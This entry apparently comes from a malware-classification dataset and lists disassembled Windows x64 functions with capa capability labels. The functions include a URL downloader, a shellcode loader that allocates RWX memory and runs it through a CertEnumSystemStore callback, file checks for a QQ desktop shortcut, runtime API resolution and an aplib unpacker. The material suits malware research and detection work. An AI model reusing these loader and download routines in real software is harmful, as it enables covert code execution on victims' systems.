joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400011d0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0xb0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0
jge 0x14000122e
xor al, al
jmp 0x140001356
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov r8d, 1
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x80]
call qword [rax + 0x60]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0
jge 0x14000127d
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80]
call qword [rax + 0x10]
xor al, al
jmp 0x140001356
mov rax, qword [rsp + 0xc0]
mov ecx, dword [rsp + 0x40]
mov dword [rax], ecx
mov rax, qword [rsp + 0xc0]
mov eax, dword [rax]
mov ecx, eax
call fcn.140002758
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x90]
mov qword [rax], rcx
mov dword [rsp + 0x8c], 0
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
lea r9, [rsp + 0x8c]
mov rcx, qword [rsp + 0xc0]
mov r8d, dword [rcx]
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rcx]
mov rcx, qword [rsp + 0x80]
call qword [rax + 0x18]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80]
call qword [rax + 0x10]
cmp dword [rsp + 0x88], 0
jl 0x140001330
mov rax, qword [rsp + 0xc0]
mov eax, dword [rax]
cmp dword [rsp + 0x8c], eax
je 0x140001354
mov rax, qword [rsp + 0xb8]
mov rax, qword [rax]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call fcn.140002f1c
xor al, al
jmp 0x140001356
mov al, 1
add rsp, 0xa8
ret

Function at 0x1400014a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov r8b, 0x69
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.140001360
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.1400013d0
mov eax, dword [rsp + 0x48]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
mov eax, dword [rsp + 0x48]
mov r8d, eax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call fcn.140002780
mov r9, qword [rsp + 0x20]
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
add rsp, 0x38
ret
Function at 0x140001580
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x108
mov qword [rsp + 0xf8], 0xfffffffffffffffe
lea rdx, [0x14001b9e0]
lea rcx, [rsp + 0x20]
call fcn.1400018d0
nop
lea rdx, [0x14001ba20]
lea rcx, [rsp + 0x48]
call fcn.1400018d0
nop
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x70]
call fcn.1400018d0
nop
lea rdx, [0x14001bab0]
lea rcx, [rsp + 0x98]
call fcn.1400018d0
nop
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0xc0]
call fcn.1400018d0
nop
mov dword [rsp + 0xf0], 0
jmp 0x140001610
mov eax, dword [rsp + 0xf0]
inc eax
mov dword [rsp + 0xf0], eax
movsxd rax, dword [rsp + 0xf0]
cmp rax, 5
jae 0x140001675
movsxd rax, dword [rsp + 0xf0]
imul rax, rax, 0x28
lea rax, [rsp + rax + 0x20]
mov rcx, rax
call fcn.140001970
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001673
mov byte [rsp + 0xf4], 1
lea r9, [fcn.140001940]
mov r8d, 5
mov edx, 0x28
lea rcx, [rsp + 0x20]
call fcn.140002ea0
movzx eax, byte [rsp + 0xf4]
jmp 0x1400016a1
jmp 0x140001600
mov byte [rsp + 0xf5], 0
lea r9, [fcn.140001940]
mov r8d, 5
mov edx, 0x28
lea rcx, [rsp + 0x20]
call fcn.140002ea0
movzx eax, byte [rsp + 0xf5]
add rsp, 0x108
ret

Function at 0x1400044bc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000432c
Function at 0x14000d950
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001f620]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140005260
xor ebx, ebx
cmp qword [0x140020d70], rbx
mov rdi, rax
jne 0x14000da63
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000db3a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000db3a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140020d70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140020d78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140020d80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140020d90], rax
test rax, rax
je 0x14000da5a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140020d88], rax
jmp 0x14000da6a
mov rax, qword [0x140020d88]
jmp 0x14000da71
mov rax, qword [0x140020d88]
mov r11, qword [0x140020d90]
cmp rax, rdi
je 0x14000dad8
cmp r11, rdi
je 0x14000dad8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140020d90]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000dad8
test rax, rax
je 0x14000dad8
call rsi
test rax, rax
je 0x14000dad2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000dad2
test byte [rsp + 0x40], 1
jne 0x14000dad8
bts ebp, 0x15
jmp 0x14000db18
mov rcx, qword [0x140020d78]
cmp rcx, rdi
je 0x14000db18
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000db18
call rax
mov rbx, rax
test rax, rax
je 0x14000db18
mov rcx, qword [0x140020d80]
cmp rcx, rdi
je 0x14000db18
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000db18
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140020d70]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000db3a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000db3c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000dd80
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000f1df
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001f620]
jne 0x14000dd9a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000dd96
repz ret
ror rcx, 0x10
jmp 0x14000f138
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140020e60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140020f58]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000f1bd
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140020e60]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000f1df
mov rax, qword [rsp + 0x88]
mov qword [0x140020f58], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140020ef8], rax
mov rax, qword [0x140020f58]
mov qword [0x140020dd0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140020ee0], rax
mov dword [0x140020dc0], 0xc0000409
mov dword [0x140020dc4], 1
mov rax, qword [0x14001f620]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001f628]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140020e58], eax
mov ecx, 1
call fcn.14000eaa4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001a248]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140020e58], 0
jne 0x14000f266
mov ecx, 1
call fcn.14000eaa4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14166e5d8
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14166e75f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14166e609
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14166e5ef
add dl, dl
jne 0x14166e616
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14166e676
xor eax, eax
add dl, dl
jne 0x14166e625
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14166e72d
add dl, dl
jne 0x14166e636
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e643
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e650
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e65d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14166e66a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14166e5fe
mov eax, 1
add dl, dl
jne 0x14166e686
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e693
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14166e67b
sub eax, ebx
mov ebx, 1
jne 0x14166e6cc
mov ecx, 1
add dl, dl
jne 0x14166e6ae
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14166e6bb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14166e6a3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14166e5fe
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14166e6e8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14166e6f5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14166e6dd
cmp eax, 0x7d00
jae 0x14166e71b
cmp eax, 0x500
jb 0x14166e716
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14166e5fe
cmp eax, 0x7f
ja 0x14166e71e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14166e5fe
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14166e752
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14166e5fe
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20